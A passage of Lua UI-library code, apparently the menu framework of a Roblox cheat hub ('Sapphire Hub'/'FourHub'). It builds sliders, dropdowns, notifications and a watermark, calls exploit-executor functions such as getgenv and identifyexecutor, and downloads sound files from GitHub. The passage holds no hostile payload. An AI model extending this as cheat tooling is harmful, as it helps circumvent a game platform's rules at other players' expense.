tonumber(Upper) or Slider.ValueUpper; numLower = math.clamp(numLower, Slider.Min, Slider.Max); numUpper = math.clamp(numUpper, Slider.Min, Slider.Max); if numLower > numUpper then numLower = numUpper; end; Slider.ValueLower = Round(numLower); Slider.ValueUpper = Round(numUpper); Slider.Value = { Slider.ValueLower, Slider.ValueUpper }; Slider:Display(); Library:SafeCallback(Slider.Callback, Slider.ValueLower, Slider.ValueUpper); Library:SafeCallback(Slider.Changed, Slider.ValueLower, Slider.ValueUpper); end; SliderInner.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then local relativeX = GetPointerPosition(Input).X - SliderInner.AbsolutePosition.X; local clickValue = Slider:GetValueFromXOffset(relativeX); local distToLower = math.abs(clickValue - Slider.ValueLower); local distToUpper = math.abs(clickValue - Slider.ValueUpper); local activeHead = (distToLower < distToUpper) and "Lower" or "Upper"; while IsPressActive(Input) do local curRelativeX = math.clamp(GetPointerPosition(Input).X - SliderInner.AbsolutePosition.X, 0, SliderInner.AbsoluteSize.X > 0 and SliderInner.AbsoluteSize.X or 222); local curVal = Slider:GetValueFromXOffset(curRelativeX); local oldLower = Slider.ValueLower; local oldUpper = Slider.ValueUpper; if activeHead == "Lower" then curVal = math.clamp(curVal, Slider.Min, Slider.ValueUpper); Slider.ValueLower = curVal; else curVal = math.clamp(curVal, Slider.ValueLower, Slider.Max); Slider.ValueUpper = curVal; end; Slider.Value = { Slider.ValueLower, Slider.ValueUpper }; Slider:Display(); if Slider.ValueLower ~= oldLower or Slider.ValueUpper ~= oldUpper then Library:PlaySliderSound(); Library:SafeCallback(Slider.Callback, Slider.ValueLower, Slider.ValueUpper); Library:SafeCallback(Slider.Changed, Slider.ValueLower, Slider.ValueUpper); end; RenderStepped:Wait(); end; Library:StopSliderSound(); Library:AttemptSave(); end; end); SliderInner:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() Slider:Display(); end); Slider:Display(); Groupbox:AddBlank(Info.BlankSize or 6); Groupbox:Resize(); if type(Slider)=="table" and Slider.SetVisible==nil then Slider.SetVisible=function() end end; Options[Idx] = Slider; return Slider; end; function Funcs:AddDropdown(Idx, Info) if Info.SpecialType == 'Player' then Info.Values = GetPlayersString(); Info.AllowNull = true; elseif Info.SpecialType == 'Team' then Info.Values = GetTeamsString(); Info.AllowNull = true; end; assert(Info.Values, 'AddDropdown: Missing dropdown value list.'); assert(Info.AllowNull or Info.Default, 'AddDropdown: Missing default value. Pass `AllowNull` as true if this was intentional.'); if (not Info.Text) then Info.Compact = true; end; local Dropdown = { Values = Info.Values; Value = Info.Multi and {}; Multi = Info.Multi; Type = 'Dropdown'; SpecialType = Info.SpecialType; Callback = Info.Callback or function(Value) end; }; local Groupbox = self; local Container = Groupbox.Container; local RelativeOffset = 0; if not Info.Compact then local DropdownLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 10); TextSize = 14; Text = Info.Text; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Bottom; ZIndex = Z(self, 5); Parent = Container; }); Groupbox:AddBlank(3); end; for _, Element in next, Container:GetChildren() do if not Element:IsA('UIListLayout') then RelativeOffset = RelativeOffset + Element.Size.Y.Offset; end; end; local DropdownOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(1, -4, 0, 20); ZIndex = Z(self, 5); Parent = Container; }); Library:AddToRegistry(DropdownOuter, { BorderColor3 = 'Black'; }); local DropdownInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = DropdownOuter; }); Library:AddToRegistry(DropdownInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); Library:Create('UIGradient', { Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1, Color3.fromRGB(212, 212, 212)) }); Rotation = 90; Parent = DropdownInner; }); local DropdownArrow = Library:CreateLabel({ AnchorPoint = Vector2.new(1, 0.5); BackgroundTransparency = 1; Position = UDim2.new(1, -5, 0.5, 0); Size = UDim2.new(0, 12, 1, 0); Text = '+'; TextSize = 14; TextXAlignment = Enum.TextXAlignment.Right; ZIndex = Z(self, 8); Parent = DropdownInner; }); local ItemList = Library:CreateLabel({ Position = UDim2.new(0, 5, 0, 0); Size = UDim2.new(1, -20, 1, 0); TextSize = 14; Text = '--'; TextXAlignment = Enum.TextXAlignment.Left; TextWrapped = true; ZIndex = Z(self, 7); Parent = DropdownInner; }); Library:OnHighlight(DropdownOuter, DropdownOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); if type(Info.Tooltip) == 'string' then Library:AddToolTip(Info.Tooltip, DropdownOuter); end; local MAX_DROPDOWN_ITEMS = 8; local ListOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); ZIndex = 20; Visible = false; Parent = ScreenGui; }); local function RecalculateListPosition() ListOuter.Position = UDim2.fromOffset(DropdownOuter.AbsolutePosition.X, DropdownOuter.AbsolutePosition.Y + DropdownOuter.Size.Y.Offset + 1); end; local function RecalculateListSize(YSize) local height = YSize or (MAX_DROPDOWN_ITEMS * 20 + 2); Dropdown.ListHeight = height; if ListOuter.Visible then ListOuter.Size = UDim2.fromOffset(DropdownOuter.AbsoluteSize.X, height); end; end; RecalculateListPosition(); RecalculateListSize(); DropdownOuter:GetPropertyChangedSignal('AbsolutePosition'):Connect(RecalculateListPosition); local ListInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; BorderSizePixel = 0; Size = UDim2.new(1, 0, 1, 0); ZIndex = 21; Parent = ListOuter; }); Library:AddToRegistry(ListInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local Scrolling = Library:Create('ScrollingFrame', { BackgroundTransparency = 1; BorderSizePixel = 0; CanvasSize = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 1, 0); ZIndex = 21; Parent = ListInner; TopImage = 'rbxasset://textures/ui/Scroll/scroll-middle.png', BottomImage = 'rbxasset://textures/ui/Scroll/scroll-middle.png', ScrollBarThickness = 3, ScrollBarImageColor3 = Library.AccentColor, }); Library:AddToRegistry(Scrolling, { ScrollBarImageColor3 = 'AccentColor' }); Library:Create('UIListLayout', { Padding = UDim.new(0, 0); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = Scrolling; }); function Dropdown:Display() local Values = Dropdown.Values; local Str = ''; if Info.Multi then for Idx, Value in next, Values do if Dropdown.Value[Value] then Str = Str .. Value .. ', '; end; end; Str = Str:sub(1, #Str - 2); else Str = Dropdown.Value or ''; end; ItemList.Text = (Str == '' and '...' or Str); end; function Dropdown:GetActiveValues() if Info.Multi then local T = {}; for Value, Bool in next, Dropdown.Value do table.insert(T, Value); end; return T; else return Dropdown.Value and 1 or 0; end; end; function Dropdown:BuildDropdownList() local Values = Dropdown.Values; local Buttons = {}; for _, Element in next, Scrolling:GetChildren() do if not Element:IsA('UIListLayout') then Element:Destroy(); end; end; local Count = 0; for Idx, Value in next, Values do local Table = {}; Count = Count + 1; local Button = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Middle; Size = UDim2.new(1, -1, 0, 20); ZIndex = 23; Active = true, Parent = Scrolling; }); Library:AddToRegistry(Button, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local ButtonLabel = Library:CreateLabel({ Active = false; Size = UDim2.new(1, -6, 1, 0); Position = UDim2.new(0, 6, 0, 0); TextSize = 14; Text = Value; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 25; Parent = Button; }); Library:OnHighlight(Button, Button, { BorderColor3 = 'AccentColor', ZIndex = 24 }, { BorderColor3 = 'OutlineColor', ZIndex = 23 } ); local Selected; if Info.Multi then Selected = Dropdown.Value[Value]; else Selected = Dropdown.Value == Value; end; function Table:UpdateButton() if Info.Multi then Selected = Dropdown.Value[Value]; else Selected = Dropdown.Value == Value; end; ButtonLabel.TextColor3 = Selected and Library.AccentColor or Library.FontColor; Library.RegistryMap[ButtonLabel].Properties.TextColor3 = Selected and 'AccentColor' or 'FontColor'; end; ButtonLabel.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then local Try = not Selected; if Dropdown:GetActiveValues() == 1 and (not Try) and (not Info.AllowNull) then else if Info.Multi then Selected = Try; if Selected then Dropdown.Value[Value] = true; else Dropdown.Value[Value] = nil; end; else Selected = Try; if Selected then Dropdown.Value = Value; else Dropdown.Value = nil; end; for _, OtherButton in next, Buttons do OtherButton:UpdateButton(); end; end; Table:UpdateButton(); Dropdown:Display(); Library:SafeCallback(Dropdown.Callback, Dropdown.Value); Library:SafeCallback(Dropdown.Changed, Dropdown.Value); Library:UpdateDependencyBoxes(); Library:AttemptSave(); end; end; end); Table:UpdateButton(); Dropdown:Display(); Buttons[Button] = Table; end; Scrolling.CanvasSize = UDim2.fromOffset(0, (Count * 20) + 1); local Y = math.clamp(Count * 20, 0, MAX_DROPDOWN_ITEMS * 20) + 1; RecalculateListSize(Y); end; function Dropdown:SetValues(NewValues) if NewValues then Dropdown.Values = NewValues; end; Dropdown:BuildDropdownList(); end; function Dropdown:OpenDropdown() if Dropdown.Tween then Dropdown.Tween:Cancel() end; RecalculateListPosition(); Library:ApplyPopupZIndex(ListOuter, 20); ListOuter.Size = UDim2.fromOffset(DropdownOuter.AbsoluteSize.X, 0); ListOuter.Visible = true; ListOuter.ClipsDescendants = false; ListInner.ClipsDescendants = false; Library.OpenedFrames[ListOuter] = true; Dropdown.Tween = TweenService:Create(ListOuter, TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = UDim2.fromOffset(DropdownOuter.AbsoluteSize.X, Dropdown.ListHeight or 162) }); DropdownArrow.Text = '-'; Dropdown.Tween:Play(); end; function Dropdown:CloseDropdown() if Dropdown.Tween then Dropdown.Tween:Cancel() end; Dropdown.Tween = TweenService:Create(ListOuter, TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = UDim2.fromOffset(DropdownOuter.AbsoluteSize.X, 0) }); DropdownArrow.Text = '+'; local connection; connection = Dropdown.Tween.Completed:Connect(function() ListOuter.Visible = false; Library.OpenedFrames[ListOuter] = nil; connection:Disconnect(); end); Dropdown.Tween:Play(); end; function Dropdown:OnChanged(Func) Dropdown.Changed = Func; Func(Dropdown.Value); end; function Dropdown:SetValue(Val) local previousValue = Dropdown.Value; if Dropdown.Multi then local nTable = {}; for Value, Bool in next, Val do if table.find(Dropdown.Values, Value) then nTable[Value] = true; end; end; Dropdown.Value = nTable; else if (not Val) then Dropdown.Value = nil; elseif table.find(Dropdown.Values, Val) then Dropdown.Value = Val; end; end; if Dropdown.Value == previousValue then Dropdown:Display(); return; end; Dropdown:BuildDropdownList(); Library:SafeCallback(Dropdown.Callback, Dropdown.Value); Library:SafeCallback(Dropdown.Changed, Dropdown.Value); end; DropdownOuter.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then if ListOuter.Visible then Dropdown:CloseDropdown(); else Dropdown:OpenDropdown(); end; end; end); InputService.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then local Pos = GetPointerPosition(Input); local AbsPos, AbsSize = ListOuter.AbsolutePosition, ListOuter.AbsoluteSize; if Pos.X < AbsPos.X or Pos.X > AbsPos.X + AbsSize.X or Pos.Y < (AbsPos.Y - 20 - 1) or Pos.Y > AbsPos.Y + AbsSize.Y then Dropdown:CloseDropdown(); end; end; end); Dropdown:BuildDropdownList(); Dropdown:Display(); local Defaults = {}; if type(Info.Default) == 'string' then local Idx = table.find(Dropdown.Values, Info.Default); if Idx then table.insert(Defaults, Idx); end; elseif type(Info.Default) == 'table' then for _, Value in next, Info.Default do local Idx = table.find(Dropdown.Values, Value); if Idx then table.insert(Defaults, Idx); end; end; elseif type(Info.Default) == 'number' and Dropdown.Values[Info.Default] ~= nil then table.insert(Defaults, Info.Default); end; if next(Defaults) then for i = 1, #Defaults do local Index = Defaults[i]; if Info.Multi then Dropdown.Value[Dropdown.Values[Index]] = true; else Dropdown.Value = Dropdown.Values[Index]; end; if (not Info.Multi) then break end; end; Dropdown:BuildDropdownList(); Dropdown:Display(); end; Groupbox:AddBlank(Info.BlankSize or 5); Groupbox:Resize(); if type(Dropdown)=="table" and Dropdown.SetVisible==nil then Dropdown.SetVisible=function() end end; Options[Idx] = Dropdown; Dropdown.Outer = DropdownOuter; Dropdown.ListOuter = ListOuter; Library:UpdateDependencyBoxes(); return Dropdown; end; function Funcs:AddDependencyBox() local Depbox = {Dependencies = {}}; local Groupbox = self; local Container = Groupbox.Container; local Holder = Library:Create('Frame', { BackgroundTransparency = 1, Size = UDim2.new(1, 0, 0, 0), Visible = false, Parent = Container, }); local Frame = Library:Create('Frame', { BackgroundTransparency = 1, Size = UDim2.new(1, 0, 1, 0), Visible = true, Parent = Holder, }); local Layout = Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Vertical, SortOrder = Enum.SortOrder.LayoutOrder, Parent = Frame, }); function Depbox:Resize() Holder.Size = NewUDim2(1, 0, 0, Layout.AbsoluteContentSize.Y); Groupbox:Resize(); end; Layout:GetPropertyChangedSignal('AbsoluteContentSize'):Connect(function() Depbox:Resize(); end); Holder:GetPropertyChangedSignal('Visible'):Connect(function() Depbox:Resize(); end); function Depbox:Update() for _, Dependency in next, Depbox.Dependencies do local Elem = Dependency[1]; local Expected = Dependency[2]; local CurrentValue = Elem.Value; if CurrentValue == nil then Holder.Visible = false; Depbox:Resize(); return end; if CurrentValue ~= Expected then Holder.Visible = false; Depbox:Resize(); return end; end; Holder.Visible = true; Depbox:Resize(); end; function Depbox:SetupDependencies(Dependencies) for _, Dependency in next, Dependencies do assert(type(Dependency) == 'table', 'SetupDependencies: Dependency is not of type `table`.'); assert(Dependency[1], 'SetupDependencies: Dependency is missing element argument.'); assert(Dependency[2] ~= nil, 'SetupDependencies: Dependency is missing value argument.'); end; Depbox.Dependencies = Dependencies; Depbox:Update(); end; Depbox.Container = Frame; setmetatable(Depbox, BaseGroupbox); table.insert(Library.DependencyBoxes, Depbox); return Depbox; end; BaseGroupbox.__index = Funcs; BaseGroupbox.__namecall = function(Table, Key, ...) local Method = rawget(Table, Key) or Funcs[Key]; return Method(Table, ...); end; end; function Library:UpdateNotificationArea() local area = Library.NotificationArea; local layout = Library.NotificationListLayout; if not area or not layout then return end; local margin = 12; local spot = Library.NotificationSpot or 'Top Right'; if spot == 'Top Left' then area.AnchorPoint = Vector2.new(0, 0); area.Position = UDim2.new(0, margin, 0, margin); layout.HorizontalAlignment = Enum.HorizontalAlignment.Left; layout.VerticalAlignment = Enum.VerticalAlignment.Top; elseif spot == 'Bottom Right' then area.AnchorPoint = Vector2.new(1, 1); area.Position = UDim2.new(1, -margin, 1, -margin); layout.HorizontalAlignment = Enum.HorizontalAlignment.Right; layout.VerticalAlignment = Enum.VerticalAlignment.Bottom; elseif spot == 'Bottom Left' then area.AnchorPoint = Vector2.new(0, 1); area.Position = UDim2.new(0, margin, 1, -margin); layout.HorizontalAlignment = Enum.HorizontalAlignment.Left; layout.VerticalAlignment = Enum.VerticalAlignment.Bottom; elseif spot == 'Center' then area.AnchorPoint = Vector2.new(0.5, 0.5); area.Position = UDim2.new(0.5, 0, 0.5, 0); layout.HorizontalAlignment = Enum.HorizontalAlignment.Center; layout.VerticalAlignment = Enum.VerticalAlignment.Center; else area.AnchorPoint = Vector2.new(1, 0); area.Position = UDim2.new(1, -margin, 0, margin); layout.HorizontalAlignment = Enum.HorizontalAlignment.Right; layout.VerticalAlignment = Enum.VerticalAlignment.Top; end; end; function Library:SetNotificationSpot(Spot) Library.NotificationSpot = Spot; Library:UpdateNotificationArea(); end; function Library:SetNotificationAnimation(Animation) Library.NotificationAnimation = Animation; end; function Library:PlayNotificationEnter(NotifyInner, TotalW) local animation = Library.NotificationAnimation or 'Slide Right to Left'; local tweenInfo = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.Out); NotifyInner.AnchorPoint = Vector2.new(0, 0); NotifyInner.Position = UDim2.fromOffset(0, 0); NotifyInner.Size = UDim2.new(1, 0, 1, 0); if animation == 'Slide Left to Right' then NotifyInner.Position = UDim2.fromOffset(-TotalW, 0); TweenService:Create(NotifyInner, tweenInfo, { Position = UDim2.fromOffset(0, 0), }):Play(); elseif animation == 'Middle Outwards' then NotifyInner.AnchorPoint = Vector2.new(0.5, 0.5); NotifyInner.Position = UDim2.new(0.5, 0, 0.5, 0); NotifyInner.Size = UDim2.new(0, 0, 1, 0); TweenService:Create(NotifyInner, tweenInfo, { Size = UDim2.new(1, 0, 1, 0), }):Play(); else NotifyInner.Position = UDim2.fromOffset(TotalW, 0); TweenService:Create(NotifyInner, tweenInfo, { Position = UDim2.fromOffset(0, 0), }):Play(); end; end; function Library:PlayNotificationExit(NotifyInner, TotalW, Callback) local animation = Library.NotificationAnimation or 'Slide Right to Left'; local tweenInfo = TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.In); local tween; if animation == 'Slide Left to Right' then tween = TweenService:Create(NotifyInner, tweenInfo, { Position = UDim2.fromOffset(TotalW, 0), }); elseif animation == 'Middle Outwards' then NotifyInner.AnchorPoint = Vector2.new(0.5, 0.5); NotifyInner.Position = UDim2.new(0.5, 0, 0.5, 0); tween = TweenService:Create(NotifyInner, tweenInfo, { Size = UDim2.new(0, 0, 1, 0), }); else tween = TweenService:Create(NotifyInner, tweenInfo, { Position = UDim2.fromOffset(-TotalW, 0), }); end; tween.Completed:Connect(function() if Callback then Callback(); end; end); tween:Play(); end do Library.NotificationArea = Library:Create('Frame', { BackgroundTransparency = 1; AnchorPoint = Vector2.new(1, 0); Position = UDim2.new(1, -12, 0, 12); Size = UDim2.new(0, 480, 1, -24); ZIndex = 100; Parent = ScreenGui; }); Library.NotificationListLayout = Library:Create('UIListLayout', { Padding = UDim.new(0, 6); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; HorizontalAlignment = Enum.HorizontalAlignment.Right; VerticalAlignment = Enum.VerticalAlignment.Top; Parent = Library.NotificationArea; }); Library.NotificationIndex = 0; Library:UpdateNotificationArea(); local WatermarkOuter = Library:Create('Frame', { AnchorPoint = Vector2.new(0.5, 0); BorderSizePixel = 0; Position = UDim2.new(0.5, 0, 0, 15); Size = UDim2.new(0, 213, 0, 20); ZIndex = 200; Visible = false; Parent = ScreenGui; }); local WatermarkInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 1, 0); ZIndex = 201; Parent = WatermarkOuter; }); Library:AddToRegistry(WatermarkInner, { BackgroundColor3 = 'MainColor'; }); local InnerFrame = Library:Create('Frame', { BackgroundColor3 = Color3.new(1, 1, 1); BorderSizePixel = 0; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 1, 0); ZIndex = 202; Parent = WatermarkInner; }); local Gradient = Library:Create('UIGradient', { Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Library:GetDarkerColor(Library.MainColor)), ColorSequenceKeypoint.new(1, Library.MainColor), }); Rotation = -90; Parent = InnerFrame; }); Library:AddToRegistry(Gradient, { Color = function() return ColorSequence.new({ ColorSequenceKeypoint.new(0, Library:GetDarkerColor(Library.MainColor)), ColorSequenceKeypoint.new(1, Library.MainColor), }); end }); local AccentLine = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 0, 1); ZIndex = 205; Parent = InnerFrame; }); Library:AddToRegistry(AccentLine, { BackgroundColor3 = 'AccentColor'; }); local WatermarkLabel = Library:CreateLabel({ Position = UDim2.new(0, 5, 0, 0); Size = UDim2.new(1, -10, 1, -1); TextSize = 14; TextXAlignment = Enum.TextXAlignment.Center; ZIndex = 203; Parent = InnerFrame; }); Library.Watermark = WatermarkOuter; Library.WatermarkText = WatermarkLabel; Library:MakeDraggable(Library.Watermark); local KeybindContainer = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, 0, 0, 0); Visible = false; ZIndex = 200; Parent = ScreenGui; }); Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = KeybindContainer; }); Library:Create('UIPadding', { PaddingLeft = UDim.new(0, 5), Parent = KeybindContainer, }); Library.KeybindContainer = KeybindContainer; end; function Library:SetWatermarkVisibility(Bool) Library.Watermark.Visible = Bool; end; function Library:SetWatermark(Text) local rawText = Text or ''; Library.LastWatermarkText = rawText; local X, Y = Library:GetTextBounds(rawText, Library.Font, 14); Library.Watermark.Size = UDim2.new(0, X + 16, 0, (Y * 1.5) + 3); Library:SetAccentTitle(Library.WatermarkText, rawText, Library.WatermarkAccentPart or '.lol'); end; getgenv().FourHub_wm = getgenv().FourHub_wm or { ping = true, executor = false, fps = true, time = true }; task.spawn(function() local fps = 60; local execName = nil; local function getPing() local ok, v = pcall(function() return game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue(); end); if ok and v then return math.floor(v + 0.5) end; return 0; end; local function getExecutor() if execName ~= nil then return execName end; local fn = identifyexecutor or getexecutorname; if fn then local ok, name, ver = pcall(fn); if ok and name then execName = tostring(name); if ver and tostring(ver) ~= "" then execName = execName .. " " .. tostring(ver) end; else execName = ""; end; else execName = ""; end; return execName; end; RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function(dt) if dt and dt > 0 then local instant = 1 / dt; fps = fps + (instant - fps) * 0.1; end; end)); while task.wait(0.5) do if Library.Watermark and Library.Watermark.Visible then local wm = getgenv().FourHub_wm or {}; local parts = { "Sapphire Hub" }; if wm.fps ~= false then parts[#parts + 1] = string.format("%d fps", math.floor(fps + 0.5)); end; if wm.ping ~= false then parts[#parts + 1] = string.format("%d ms", getPing()); end; if wm.executor then local ex = getExecutor(); if ex ~= "" then parts[#parts + 1] = ex end; end; if wm.time ~= false then parts[#parts + 1] = os.date("%X"); end; Library:SetWatermark(table.concat(parts, " | ")); end; end; end); local SOUND_URLS = { Toggle = 'https://raw.githubusercontent.com/xhafodev/UI/main/pop%20UI%20sound.mp3', Notification = 'https://raw.githubusercontent.com/xhafodev/UI/main/notify.mp3', Slider = 'https://raw.githubusercontent.com/xhafodev/UI/main/slider.mp3', }; function Library:EnsureSoundFile(Folder, FileName, Url) if not writefile or not isfile or not getcustomasset then return nil; end; local Path = Folder .. '/sounds/' .. FileName; if not isfile(Path) then if not game.HttpGet then return nil; end; local Success, Content = pcall(function() return game:HttpGet(Url); end); if not Success or not Content then return nil; end; writefile(Path, Content); end; return getcustomasset(Path); end; function Library:ApplySoundSettings(Settings) self.ToggleSoundEnabled = Settings.ToggleSoundEnabled ~= false; self.NotificationSoundEnabled = Settings.NotificationSoundEnabled ~= false; self.SliderSoundEnabled = Settings.SliderSoundEnabled ~= false; self.ToggleSoundVolume = math.clamp(tonumber(Settings.ToggleSoundVolume) or 1, 0, 1); self.ToggleSoundSpeed = math.clamp(tonumber(Settings.ToggleSoundSpeed) or 1, 0.25, 3); self.NotificationSoundVolume = math.clamp(tonumber(Settings.NotificationSoundVolume) or 1, 0, 1); self.NotificationSoundSpeed = math.clamp(tonumber(Settings.NotificationSoundSpeed) or 1, 0.25, 3); self.SliderSoundVolume = math.clamp(tonumber(Settings.SliderSoundVolume) or 1, 0, 1); self.SliderSoundSpeed = math.clamp(tonumber(Settings.SliderSoundSpeed) or 1, 0.25, 3); end; function Library:SaveSoundSettings() if not writefile then return; end; local SettingsPath = (self.SoundSettingsFolder or 'FourHub') .. '/settings/sounds.json'; local Data = { ToggleSoundEnabled = self.ToggleSoundEnabled; NotificationSoundEnabled = self.NotificationSoundEnabled; SliderSoundEnabled = self.SliderSoundEnabled; ToggleSoundVolume = self.ToggleSoundVolume; ToggleSoundSpeed = self.ToggleSoundSpeed; NotificationSoundVolume = self.NotificationSoundVolume; NotificationSoundSpeed = self.NotificationSoundSpeed; SliderSoundVolume = self.SliderSoundVolume; SliderSoundSpeed = self.SliderSoundSpeed; }; local Success, Encoded = pcall(function() return HttpService:JSONEncode(Data); end); if Success then writefile(SettingsPath, Encoded); end; end; function Library:InitSoundSettings(Folder) local Defaults = { ToggleSoundEnabled = true; NotificationSoundEnabled = true; SliderSoundEnabled = true; ToggleSoundVolume = 1; ToggleSoundSpeed = 1; NotificationSoundVolume = 1; NotificationSoundSpeed = 1; SliderSoundVolume = 1; SliderSoundSpeed = 1; }; self.SoundSettingsFolder = Folder or 'FourHub'; local SettingsPath = self.SoundSettingsFolder .. '/settings/sounds.json'; local Settings = Defaults; if isfile and readfile and isfile(SettingsPath) then local Success, Decoded = pcall(function() return HttpService:JSONDecode(readfile(SettingsPath)); end); if Success and type(Decoded) == 'table' then for Key, Value in next, Defaults do if Decoded[Key] ~= nil then Settings[Key] = Decoded[Key]; end; end; end; end; self:ApplySoundSettings(Settings); if not isfile or not isfile(SettingsPath) then self:SaveSoundSettings(); end; self:InitSoundAssets(); end; function Library:InitSoundAssets() local Folder = self.SoundSettingsFolder or 'FourHub'; if not self.ToggleSound then local ToggleAsset = self:EnsureSoundFile(Folder, 'toggle.mp3', SOUND_URLS.Toggle); if ToggleAsset then self.ToggleSound = Instance.new('Sound'); self.ToggleSound.Name = 'FourHubToggleSound'; self.ToggleSound.SoundId = ToggleAsset; self.ToggleSound.Volume = self.ToggleSoundVolume; self.ToggleSound.PlaybackSpeed = self.ToggleSoundSpeed; self.ToggleSound.Parent = SoundService; end; end; if not self.NotificationSound then local NotifyAsset = self:EnsureSoundFile(Folder, 'notify.mp3', SOUND_URLS.Notification); if NotifyAsset then self.NotificationSound = Instance.new('Sound'); self.NotificationSound.Name = 'FourHubNotificationSound'; self.NotificationSound.SoundId = NotifyAsset; self.NotificationSound.Volume = self.NotificationSoundVolume; self.NotificationSound.PlaybackSpeed = self.NotificationSoundSpeed; self.NotificationSound.Parent = SoundService; end; end; if not self.SliderSound then local SliderAsset = self:EnsureSoundFile(Folder, 'slider.mp3', SOUND_URLS.Slider); if SliderAsset then self.SliderSound = Instance.new('Sound'); self.SliderSound.Name = 'FourHubSliderSound'; self.SliderSound.SoundId = SliderAsset; self.SliderSound.Volume = self.SliderSoundVolume; self.SliderSound.PlaybackSpeed = self.SliderSoundSpeed; self.SliderSound.Parent = SoundService; end; end; self._SoundAssetsInitialized = true; end; function Library:PlaySliderSound() if not self.SliderSoundEnabled then return end; self:InitSoundAssets(); local Sound = self.SliderSound; if not Sound then return end; Sound.Volume = self.SliderSoundVolume; Sound.PlaybackSpeed = self.SliderSoundSpeed; if Sound.IsPlaying then Sound:Stop(); end; Sound.TimePosition = 0; Sound:Play(); end; function Library:StopSliderSound() local Sound = self.SliderSound; if Sound and Sound.IsPlaying then Sound:Stop(); end; end; function Library:PlayToggleSound() if not self.ToggleSoundEnabled then return; end; self:InitSoundAssets(); local Sound = self.ToggleSound; if not Sound then return; end; Sound.Volume = self.ToggleSoundVolume; Sound.PlaybackSpeed = self.ToggleSoundSpeed; if Sound.IsPlaying then Sound:Stop(); end; Sound.TimePosition = 0; Sound:Play(); end; function Library:PlayNotificationSound() if not self.NotificationSoundEnabled then return; end; self:InitSoundAssets(); local Sound = self.NotificationSound; if not Sound then return; end; Sound.Volume = self.NotificationSoundVolume; Sound.PlaybackSpeed = self.NotificationSoundSpeed; if Sound.IsPlaying then Sound:Stop(); end; Sound.TimePosition = 0; Sound:Play(); end; function Library:Notify(Text, Time) Library:PlayNotificationSound(); local Duration = Time or 5; local TextSize = 13; local BarHeight = 2; local PadX = 10; local PadY = 6; local XSize, YSize = Library:GetTextBounds(Text, Library.Font, TextSize); local TotalW = math.ceil(XSize + PadX * 2 + 20); local TotalH = math.ceil(YSize + PadY * 2 + BarHeight + 4); Library.NotificationIndex = (Library.NotificationIndex or 0) + 1; local NotifyOuter = Library:Create('Frame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; LayoutOrder = Library.NotificationIndex; Size = UDim2.fromOffset(TotalW, TotalH); ZIndex = 100; Parent = Library.NotificationArea; }); local NotifyInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = 101; Parent = NotifyOuter; }); Library:AddToRegistry(NotifyInner, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }, true); local function ApplySize(width, height) TotalW = width; TotalH = height; NotifyOuter.Size = UDim2.fromOffset(TotalW, TotalH); end; Library:PlayNotificationEnter(NotifyInner, TotalW); local NotifyLabel = Library:CreateLabel({ Position = UDim2.new(0, PadX, 0, PadY); Size = UDim2.new(1, -PadX * 2, 1, -(PadY * 2 + BarHeight)); Text = Text; RichText = true; TextSize = TextSize; TextWrapped = false; TextTruncate = Enum.TextTruncate.None; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Top; ZIndex = 103; Parent = NotifyInner; }); Library:AddToRegistry(NotifyLabel, { TextColor3 = 'FontColor'; }, true); task.defer(function() if not NotifyLabel.Parent then return end; local measuredW = 